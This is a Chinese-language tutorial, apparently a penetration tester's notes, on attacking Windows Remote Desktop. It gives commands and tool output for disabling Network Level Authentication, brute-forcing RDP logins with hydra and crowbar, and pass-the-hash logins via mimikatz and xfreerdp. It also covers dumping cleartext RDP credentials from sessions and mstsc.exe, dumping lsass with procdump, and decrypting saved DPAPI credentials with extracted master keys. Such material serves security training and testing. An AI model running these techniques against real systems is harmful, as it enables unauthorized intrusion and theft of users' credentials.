文章

Windows 远程桌面

Remote Desktop Services

查询远程桌面服务的端口:(0xd3d 十六进制转十进制 3389

1
2
3
4
PS C:\Windows\System32> REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
    PortNumber    REG_DWORD    0xd3d

查询远程桌面服务是否开启:(1 表示关闭,0 表示开启)

1
2
3
4
PS C:\Windows\System32> REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
    fDenyTSConnections    REG_DWORD    0x0

开启远程桌面服务:(设置“允许远程连接到此计算机”)

1
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭远程桌面服务:

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000001 /f

关闭 NLA(Network Level Authentication,网络级身份验证),当 UserAuthentication 为 0 代表关闭,1 代表开启:

1
2
3
4
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

# 0:说明是进行远程桌面前不需要用户身份验证。
# 1:说明是进行远程桌面前需要进行用户身份验证。

通过查询 3389 端口的网络连接或服务详情都能查看到服务的进程号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\Windows\System32> netstat -ano | findstr '3389'
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       2272
  TCP    [::]:3389              [::]:0                 LISTENING       2272
  UDP    0.0.0.0:3389           *:*                                    2272
  UDP    [::]:3389              *:*                                    2272

PS C:\Windows\System32> tasklist /svc | findstr 'TermService'
svchost.exe                   2272 TermService

PS C:\Windows\System32> cmd /c 'sc queryex TermService'

SERVICE_NAME: TermService
        TYPE               : 30  WIN32
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 2272
        FLAGS              :

PS C:\Windows\System32> tasklist /M:rdpcorets.dll

映像名称                       PID 模块
========================= ======== ============================================
svchost.exe                   2272 rdpcorets.dll

NLA - Network Level Authentication

启用此选项后,用户必须先向网络验证自己的身份,然后才能连接到您的电脑。(默认开启)

image.png

如果获取到的用户密码已经过期了,可以尝试使用 rdesktop 连接到未开启 NLA 的主机修改密码。

Windows 原生的 mstsc.exe 不支持使用已经过期的密码进入到远程登录界面,会在连接时就提示 此用户帐户的密码已过期。必须更改密码才能登录。请更新密码,或者与系统管理员或技术支持联系。 如下图:

image.png

获取到的域用户凭据过期了:

1
2
3
4
5
6
7
8
9
root@kali:~# proxychains4 -q cme smb 172.22.2.3/24 -u William -p Willg1UoO6Jt
SMB         172.22.2.16     445    MSSQLSERVER      [*] Windows Server 2016 Datacenter 14393 x64 (name:MSSQLSERVER) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB         172.22.2.3      445    DC               [*] Windows Server 2016 Datacenter 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
SMB         172.22.2.18     445    UBUNTU-WEB02     [*] Windows 6.1 Build 0 (name:UBUNTU-WEB02) (domain:) (signing:False) (SMBv1:False)
SMB         172.22.2.34     445    CLIENT01         [*] Windows 10.0 Build 18362 x64 (name:CLIENT01) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
SMB         172.22.2.16     445    MSSQLSERVER      [-] xiaorang.lab\William:Willg1UoO6Jt STATUS_PASSWORD_EXPIRED
SMB         172.22.2.3      445    DC               [-] xiaorang.lab\William:Willg1UoO6Jt STATUS_PASSWORD_EXPIRED
SMB         172.22.2.18     445    UBUNTU-WEB02     [+] \William:Willg1UoO6Jt
SMB         172.22.2.34     445    CLIENT01         [-] xiaorang.lab\William:Willg1UoO6Jt STATUS_PASSWORD_EXPIRED

使用 CME 的 RDP 模块,扫描未开启 NLA 的主机:

1
2
root@kali:~# cme rdp 172.22.2.34
RDP         172.22.2.34     3389   CLIENT01         [*] Windows 10 or Windows Server 2016 Build 18362 (name:CLIENT01) (domain:xiaorang.lab) (nla:False)

使用 MSF 的 RDP 脚本,扫描未开启 NLA 的主机:

1
2
3
4
5
6
7
8
9
10
11
msf6 > use scanner/rdp/rdp_scanner
msf6 auxiliary(scanner/rdp/rdp_scanner) > set rhosts 172.22.2.34/24
rhosts => 172.22.2.34/24
msf6 auxiliary(scanner/rdp/rdp_scanner) > set threads 30
threads => 30
msf6 auxiliary(scanner/rdp/rdp_scanner) > run

[*] 172.22.2.3:3389       - Detected RDP on 172.22.2.3:3389       (name:DC) (domain:XIAORANG) (domain_fqdn:xiaorang.lab) (server_fqdn:DC.xiaorang.lab) (os_version:10.0.14393) (Requires NLA: Yes)
[*] 172.22.2.16:3389      - Detected RDP on 172.22.2.16:3389      (name:MSSQLSERVER) (domain:XIAORANG) (domain_fqdn:xiaorang.lab) (server_fqdn:MSSQLSERVER.xiaorang.lab) (os_version:10.0.14393) (Requires NLA: Yes)
[*] 172.22.2.34:3389      - Detected RDP on 172.22.2.34:3389      (name:CLIENT01) (domain:XIAORANG) (domain_fqdn:xiaorang.lab) (server_fqdn:CLIENT01.xiaorang.lab) (os_version:10.0.18362) (Requires NLA: No)
[*] Auxiliary module execution completed

使用 rdesktop 连接未开启 NLA 的主机,修改已经过期的密码:

1
2
3
4
5
6
root@kali:~# proxychains4 -q rdesktop 172.22.2.34 -d xiaorang.lab -u William -p Willg1UoO6Jt -z
Autoselecting keyboard map 'en-us' from locale
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.

注:rdesktop 只能用来连接未开启 NLA 的主机。它的 NLA (CredSSP) 支持不完整,在连接开启了 NLA 的 Windows 主机时会产生错误。详情见:https://github.com/rdesktop/rdesktop/issues/279

RDP Brute Force Attack

crowbar 使用示例:

1
2
3
4
5
6
root@kali:~# crowbar -b rdp -s 192.168.86.61/32 -u victim -C /root/words.txt -n 1
2017-10-10 14:59:55 START
2017-10-10 14:59:55 Crowbar v0.3.5-dev
2017-10-10 14:59:55 Trying 192.168.86.61:3389
2017-10-10 15:00:08 RDP-SUCCESS : 192.168.86.61:3389 - victim:s3cr3t
2017-10-10 15:00:08 STOP

hydra 使用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@kali:~# cat ./user_passwd.txt
huangmin:8I5VZpg4Mf
zhangrong:cHY716Zauf
...

root@kali:~# cat ./targets.txt
172.22.14.46:3389
...

root@kali:~# proxychains4 -q hydra -C ./user_passwd.txt -M ./targets.txt rdp -f
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-04 23:22:47
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 3 servers, overall 12 tasks, 242 login tries, ~61 tries per task
[DATA] attacking rdp://(3 targets):3389/

[3389][rdp] host: 172.22.14.46   login: zhangshuai   password: wSbEajHzZs

[STATUS] attack finished for 172.22.14.46 (valid pair found)
[ERROR] child 10 sent nonsense data, killing and restarting it!
[STATUS] 581.00 tries/min, 581 tries in 00:01h, 145 to do in 00:01h, 8 active
3 of 3 targets successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-04 23:23:56

注:kali 内置的 medusa 不包含 rdp.mod 模块(medusa -d 查看当前所有模块),如果想要使用 medusa 来爆破 rdp 需要自行编译(超麻烦的 🫤)。

impacket-rdp_check 支持使用哈希来确定目标机器是否允许该用户使用 RDP 进行登录:

1
2
3
4
root@kali:~# impacket-rdp_check domain.com/administrator@10.10.10.11 -hashes :618B18AD4171A53695DD997AB02D55C4
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Access Granted

SharpRDPCheck 也实现了这一效果:

1
2
3
4
5
PS C:\Windows\System32> .\SharpRDPCheck.exe 192.168.70.128 3389 plaintext test test
[+] Valid:test  test

PS C:\Windows\System32> .\SharpRDPCheck.exe 192.168.70.128 3389 ntlmhash test 0cb6948805f797bf2a82807973b89537
[+] Valid:test  0cb6948805f797bf2a82807973b89537

Pass-The-Hash with RDP

Restricted Admin Mode

Restricted Admin Mode(受限管理模式)提供了一种交互式登录远程主机服务器的方法,而无需将您的凭据传输到服务器。如果服务器遭到破坏,这可以防止您的凭据在初始连接过程中被窃取。

受限管理员更改了远程桌面协议,使其使用网络登录而不是交互式登录进行身份验证。有了这种保护,建立 RDP 会话将不需要提供关联的密码;相反用户的 NTLM Hash 或 Kerberos 票证将用于身份验证。

受限管理员模式只对管理员组成员有效。如果获取到的用户只属于远程桌面用户组,那么是无法通过 hash 登录的。

注:使用 NTLM hash 进行 RDP 登录,客户端和服务器端都需要开启 Restricted Admin Mode


新建 DWORD 类型键值 DisableRestrictedAdmin,0 代表开启,1 代表关闭:

1
REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

查询 DisableRestrictedAdmin 的值,0x0 表示已开启:

1
REG QUERY HKLM\System\CurrentControlSet\Control\Lsa | findstr DisableRestrictedAdmin

Restricted Admin Mode 本来是为了提高系统的安全性,但是却支持了 Pass-the-Hash 的利用。

在防御上,只需要针对 Pass-the-Hash 的利用进行防御就好,详情见:https://www.microsoft.com/en-us/download/details.aspx?id=36036

Windows - mstsc.exe

客户端连接命令:

1
mstsc.exe /restrictedadmin

在开启 Restricted Admin Mode 后,如果你的 Windows 不支持,执行命令后会弹出远程桌面的参数说明,如下图:

image.png

攻击者使用 mimiketz 进行 pth 运行远程桌面程序 Restricted Admin Mode,在进行 RDP 登录时不需要再输入密码,直接登录即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrator /domain:172.22.1.2 /ntlm:10cf89a850fb1cdbe6bb432b859164c8 "/run:mstsc.exe /restrictedadmin"
user    : Administrator
domain  : 172.22.1.2
program : mstsc.exe /restrictedadmin
impers. : no
NTLM    : 10cf89a850fb1cdbe6bb432b859164c8
  |  PID  6664
  |  TID  5700
  |  LSA Process is now R/W
  |  LUID 0 ; 1535426 (00000000:00176dc2)
  \_ msv1_0   - data copy @ 000002A6FB76A260 : OK !
  \_ kerberos - data copy @ 000002A6FB8DB5A8
   \_ des_cbc_md4       -> null
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 000002A6FB6B9768 (32) -> null

mimikatz #

此时使用该用户 hash 执行了 /run:mstsc.exe /restrictedadmin 命令,在弹出的远程桌面连接窗口,输入目标主机地址进行连接可直接连接上:

image.png

如果目标的受限管理模式没有被启动,可以使用 mimikatz 进行 PTH:

1
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:172.22.1.2 /ntlm:10cf89a850fb1cdbe6bb432b859164c8 /run:powershell.exe"

此时,会弹出一个目标主机的 PowerShell 窗口,在窗口中执行命令修改目标注册表,以启用 Restricted Admin Mode:

1
Enter-PSSession -Computer <Target> New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force

现在,就可以使用 NTLM hash 进行 RDP 登录了。

Linux - FreeRDP

安装 xfreerdp

1
2
sudo apt-get update
sudo apt-get install freerdp2-x11

命令:

1
xfreerdp /u:John@Domain.com /pth:eec9381b043f098b011be51622282027 /v:xx.xx.xx.xx /cert-ignore /tls-seclevel:0
  • /cert-ignore 禁用证书检查
  • /cert-tofu 首次连接时信任证书检查
  • /tls-seclevel:0 在连接旧版本 Windows 操作系统时,该选项会增加兼容性

效果:

image.png

Dumping RDP Credentials

获取正在进行 RDP 连接的用户凭证

情况一:在获取到目标主机控制权后,发现有人正在 RDP 连接当前主机。

可以在当机上运行 mimikatz 从正在运行 RDP 会话中提取出当前用户的明文凭据:(在高版本的 windows 主机中并不好用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
C:\Users\Administrator\Desktop> sc query termservice

SERVICE_NAME: termservice
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

C:\Windows\System32> .\mimikatz.exe 'privilege::debug' 'ts::logonpasswords' 'exit'

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # ts::logonpasswords
!!! Warning: false positives can be listed !!!

   * Web Credentials? *
   Domain      : hostname_domain
   UserName    : administrator

  * Marshaled: [BinaryBlob] e7 03 00 00 00 00 00 00 0b e6 d8 02 90 0e 14 47 43 28 17 8f 81 6d 15 78 4f 98 25 11 12 ea a0 98
   * Web Credentials? *
   Domain      : hostname_domain
   UserName    : administrator

  * Marshaled: [BinaryBlob] e7 03 00 00 00 00 00 00 0b e6 d8 02 90 0e 14 47 43 28 17 8f 81 6d 15 78 4f 98 25 11 12 ea a0 98
   * Web Credentials? *
   Domain      : hostname_domain
   UserName    : administrator

  * Marshaled: [BinaryBlob] e7 03 00 00 00 00 00 00 0b e6 d8 02 90 0e 14 47 43 28 17 8f 81 6d 15 78 4f 98 25 11 12 ea a0 98
   Domain      : hostname_domain
   UserName    : Administrator
   Password/Pin: Admin@123

mimikatz(commandline) # exit
Bye!

情况二:在获取到目标主机控制权后,发现当前主机正在使用 RDP 客户端连接其它远程主机时。

可以从进程 mstsc.exe 中提取出所使用的用户明文凭据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PS C:\Windows\System32> tasklist | findstr "mstsc.exe"
mstsc.exe                     8272 Console                    1    228,148 K

PS C:\Windows\System32> .\mimikatz.exe 'privilege::debug' 'ts::mstsc' 'exit'

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # ts::mstsc
!!! Warning: false positives can be listed !!!

| PID 3060      mstsc.exe (module @ 0x00000000008DFBD0)

ServerName                                [wstring] 'xx.xx.xx.xx'
ServerFqdn                                [wstring] ''
UserSpecifiedServerName                   [wstring] 'xx.xx.xx.xx'
UserName                                  [wstring] 'Administrator'
Domain                                    [wstring] 'hostname_domain'
Password                                  [protect] 'Admin@123'
SmartCardReaderName                       [wstring] ''
PasswordContainsSCardPin                  [ bool  ] FALSE
ServerNameUsedForAuthentication           [wstring] 'xx.xx.xx.xx'
RDmiUsername                              [wstring] 'administrator'

mimikatz(commandline) # exit
Bye!

获取 RDP 历史连接凭证和解密密钥

当用户在使用 RDP 连接远程主机时,如图勾选了“记住我的凭据”,那么连接远程主机时所使用的用户凭证会被保存在用户机器上,方便用户下一次进行连接:

image.png

远程桌面所保存的用户身份凭证使用 DPAPI (Data Protection Application Programming Interface, 数据保护 API) 进行加密,这是 Windows 操作系统中用于数据保护的接口,如:WIFI 密码、VPN、IE 浏览器、Chrome 浏览器、Outlook 邮箱等应用都使用了该方式进行加密。

DPAPI 在进行数据加解密的操作时需要使用一个 MasterKey 密钥,每个用户都对应一个 MasterKey,而 MasterKey 使用用户密码进行加密。MasterKey 文件在操作系统中的位置:

  • 用户 MasterKey 文件保存路径:%APPDATA%\Microsoft\Protect\<User_SID>\<Master_Key_File>
  • 系统 MasterKey 文件保存路径:%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User\<Master_Key_File>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Windows\System32>whoami /user

用户信息
----------------

用户名               SID
==================== ============================================
desktop-test\test    S-1-5-21-102229053-337446436-1419803206-1001

# 用户 Master Key Files 位置
C:\Windows\System32>dir /a /b /s %APPDATA%\Microsoft\Protect\
C:\Users\test\AppData\Roaming\Microsoft\Protect\CREDHIST
C:\Users\test\AppData\Roaming\Microsoft\Protect\S-1-5-21-102229053-337446436-1419803206-1001
C:\Users\test\AppData\Roaming\Microsoft\Protect\S-1-5-21-102229053-337446436-1419803206-1001\273001c6-c88c-422a-aecb-daa6f950f8d0
C:\Users\test\AppData\Roaming\Microsoft\Protect\S-1-5-21-102229053-337446436-1419803206-1001\52c3460d-2e8b-4764-957c-57185d4d62b2
C:\Users\test\AppData\Roaming\Microsoft\Protect\S-1-5-21-102229053-337446436-1419803206-1001\Preferred

注:Master Key File 的同级目录还有一个 Preferred 文件,显示当前系统正在使用的 MasterKey 及其过期时间,默认 90 天有效期。

从注册表中查看 RDP 连接过的服务器:

1
2
3
4
C:\Windows\System32> reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.70.130
    UsernameHint    REG_SZ    DESKTOP-TEST\administrator

将目标主机上存在连接凭证的 RDP 会话文件,下载到攻击者本地环境再进行离线解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Windows\System32> dir /a /q %userprofile%\AppData\Local\Microsoft\Credentials\
 驱动器 C 中的卷没有标签。
 卷的序列号是 E8C4-028B

 C:\Users\test\AppData\Local\Microsoft\Credentials 的目录

2023/11/24  15:30    <DIR>          DESKTOP-TEST\test   .
2023/11/24  15:30    <DIR>          DESKTOP-TEST\test   ..
2023/11/24  15:30               482 DESKTOP-TEST\test   84BD531FDD20A7ED510558FA8768BA20
2023/10/24  00:23            11,106 DESKTOP-TEST\test   DFBE70A7E5CC19A398EBF1B96859CE5D
               2 个文件         11,588 字节
               2 个目录 33,538,547,712 可用字节

注 - CS 下载文件命令:download %userprofile%\AppData\Local\Microsoft\Credentials\*

使用 procdump 转储 lsass.exe 进程:

1
2
3
4
5
6
7
8
9
10
11
PS C:\Windows\System32> .\procdump64.exe -accepteula -ma lsass.exe lsass.dmp

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[15:32:56] Dump 1 initiated: C:\Windows\System32\lsass.dmp
[15:32:56] Dump 1 writing: Estimated dump file size is 75 MB.
[15:32:56] Dump 1 complete: 75 MB written in 0.2 seconds
[15:32:57] Dump count reached.

使用 Mimikatz 从指定的 RDP 会话文件中,获取到 guidMasterKey 值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
mimikatz # dpapi::cred /in:84BD531FDD20A7ED510558FA8768BA20
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {52c3460d-2e8b-4764-957c-57185d4d62b2}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      :


  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : cbc61bdb2a8cda88dafb2c090aaf64b6c8edfc5f32a134839f083fa469a95c7f
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : 3c157c9d67b4e62952b3f8b72d841a35cff4d012e46c2c8f91e4e21af8a91e45
  dwDataLen          : 000000f0 - 240
  pbData             : 3e705a067361549290c628f53ae625d3961d29c2eeba9ba24270723dc3021ad8f6bb9e29c474951492d3ae470daf715825b33652607967a9394f0d10b7e35a34c57396d41e9faba5ea89fe969a7ead9e76035dfe3aff6c2b7d6332ea0b2fec5ea2eca2ad1054808dab04d17e4a818f2fbe0aed21b3e217604f2b52e04736c77349f0455c832af7120ffb1eda7dd3b5fc6214f697564e28b2c916d8ab926ffc65571e6475ca7d746e63d4b919519970233359ef2c547f2f3422b9d4199e1f4bcc3f5d034f6d47da39469331fa31adacefaba7dd7aae4b6fb3fea8a873815336cff1c62bb60b2fdbb69647c520a01550f6
  dwSignLen          : 00000040 - 64
  pbSign             : f776ff8611228511d6c93bd259caeea4bdf66908fc9a79c6c5841d85bb340f02489972d82ca9124bf6adc48ac6c4341a2012dc070a3d6c9b1c850d29298bd4a0

注:获取到的 guidMasterKey 值,其实就是的 Master Key File 的名称。

可以在 %APPDATA%\Microsoft\Protect\<UserSID>\<MasterKeyFile> 中找到。

使用 mimikatz 加载从目标机的 lsass.dmp 转储文件;

并通过对应的 MasterKey 文件名(guidMasterKey/GUID 值)找到对应的 MasterKey 值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::dpapi
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 439901 (00000000:0006b65d)
Session           : Interactive from 1
User Name         : test
Domain            : DESKTOP-TEST
Logon Server      : DESKTOP-TEST
Logon Time        : 2023-11-24 14:26:41
SID               : S-1-5-21-102229053-337446436-1419803206-1001
  [00000000]
  * GUID      : {273001c6-c88c-422a-aecb-daa6f950f8d0}
  * Time      : 2023-11-24 14:51:01
  * MasterKey : 9458e389d675c03e3134abca123a5f97b0344db9ec7eb77ca65e962ed238d3d9d62ba12e9b227587df8f430762790758c7a1dcf8f0baad587c0301305e088205
  * sha1(key) : a00423233ef319472dd71c7356322f7b00b29e13
  [00000001]
  * GUID      : {52c3460d-2e8b-4764-957c-57185d4d62b2}
  * Time      : 2023-11-24 15:30:06
  * MasterKey : 6beeec39772b606a7ac31f190d3c5cab56e00bd0bef7fe898cc826b12930a402b3163877d3a4d9aadafc2457a31ab2b35522b711c2512156db940ddf350c27f7
  * sha1(key) : b53ebc9462b9cf6284f116b46d3a869091cc398f


Authentication Id : 0 ; 439845 (00000000:0006b625)
Session           : Interactive from 1
User Name         : test
Domain            : DESKTOP-TEST
Logon Server      : DESKTOP-TEST
Logon Time        : 2023-11-24 14:26:41
SID               : S-1-5-21-102229053-337446436-1419803206-1001

......

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : DESKTOP-TEST$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2023-11-24 14:26:34
SID               : S-1-5-18
  [00000000]
  * GUID      : {806436a2-285b-4457-9634-9fe864996faa}
  * Time      : 2023-11-24 15:29:23
  * MasterKey : a399f4fb6ab9caed09407c4adf12a83ab52fd63ff8edf5c2db95daf4178bab8755fd29f876c878fcbb7140692222d3c7fd4306091b8215a7bf461237bb832d60
  * sha1(key) : 434dba543e494c255867a7676fd6b05d958cf950
  [00000001]
  * GUID      : {4a44a108-4a52-462e-873d-37a342a538f7}
  * Time      : 2023-11-24 14:29:57
  * MasterKey : dcd5d78081c7e5c5889ca8dbb90a848c6bc55fa68c5a3f0706367aed9f80e8c55842f1cd8af826e2412fbed6d506959c61a4402b259fafc7aad404042ded5f78
  * sha1(key) : ad78f0a094c61142ab740c84f8bcc04bc1de3ae4
  [00000002]
  * GUID      : {39272925-c391-4d0d-9c03-6040edc70d70}
  * Time      : 2023-11-24 14:29:07
  * MasterKey : 82355294e567a47527246f27be711123bd1a03c3faff9cd21c0531cc7bf5cba0363a12366a64a1853d889f10828265646329feb14c92e2d6a9b95a6b64029c84
  * sha1(key) : 1b14f9a9f6075470cd1de67cdfea63e5787ed0bf
  [00000003]
  * GUID      : {b38ac866-4d4a-4c36-a406-a3c4ca1d8314}
  * Time      : 2023-11-24 14:26:42
  * MasterKey : 3c5509ef5d2092496afc864744215690b8391b88548c9d7e565886b90c491cd9d25be0f13c2127eff8f57270c9baccb63ba49c86d1c143abd5062c651f737c70
  * sha1(key) : a52ec4f4053e1cec48d8d9d1c5fe2486e590b06b
  [00000004]
  * GUID      : {52771d12-761e-43e8-a30d-8c868b34f454}
  * Time      : 2023-11-24 15:00:37
  * MasterKey : 1e12db5656f9a3a8a032d5c4bed34a130ced9703ad489b059dd27593141e00bb11596c4612b706786591da8c759967e9d75c4f64a3b1398b636bddeadc3378e2
  * sha1(key) : f73e089b0369d8257beeb1b1b2b87491edc81a65

注:273001c6-c88c-422a-aecb-daa6f950f8d052c3460d-2e8b-4764-957c-57185d4d62b2 对应的 MasterKey 都可以解密凭证,因为这两个都是该用户的 MasterKey 文件:%APPDATA%\Microsoft\Protect\<UserSID>\<MasterKeyFile>

最后使用 Masterkey 从文件中解密凭证,得到明文密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
mimikatz # dpapi::cred /in:84BD531FDD20A7ED510558FA8768BA20 /masterkey:6beeec39772b606a7ac31f190d3c5cab56e00bd0bef7fe898cc826b12930a402b3163877d3a4d9aadafc2457a31ab2b35522b711c2512156db940ddf350c27f7
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {52c3460d-2e8b-4764-957c-57185d4d62b2}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      :


  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : cbc61bdb2a8cda88dafb2c090aaf64b6c8edfc5f32a134839f083fa469a95c7f
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : 3c157c9d67b4e62952b3f8b72d841a35cff4d012e46c2c8f91e4e21af8a91e45
  dwDataLen          : 000000f0 - 240
  pbData             : 3e705a067361549290c628f53ae625d3961d29c2eeba9ba24270723dc3021ad8f6bb9e29c474951492d3ae470daf715825b33652607967a9394f0d10b7e35a34c57396d41e9faba5ea89fe969a7ead9e76035dfe3aff6c2b7d6332ea0b2fec5ea2eca2ad1054808dab04d17e4a818f2fbe0aed21b3e217604f2b52e04736c77349f0455c832af7120ffb1eda7dd3b5fc6214f697564e28b2c916d8ab926ffc65571e6475ca7d746e63d4b919519970233359ef2c547f2f3422b9d4199e1f4bcc3f5d034f6d47da39469331fa31adacefaba7dd7aae4b6fb3fea8a873815336cff1c62bb60b2fdbb69647c520a01550f6
  dwSignLen          : 00000040 - 64
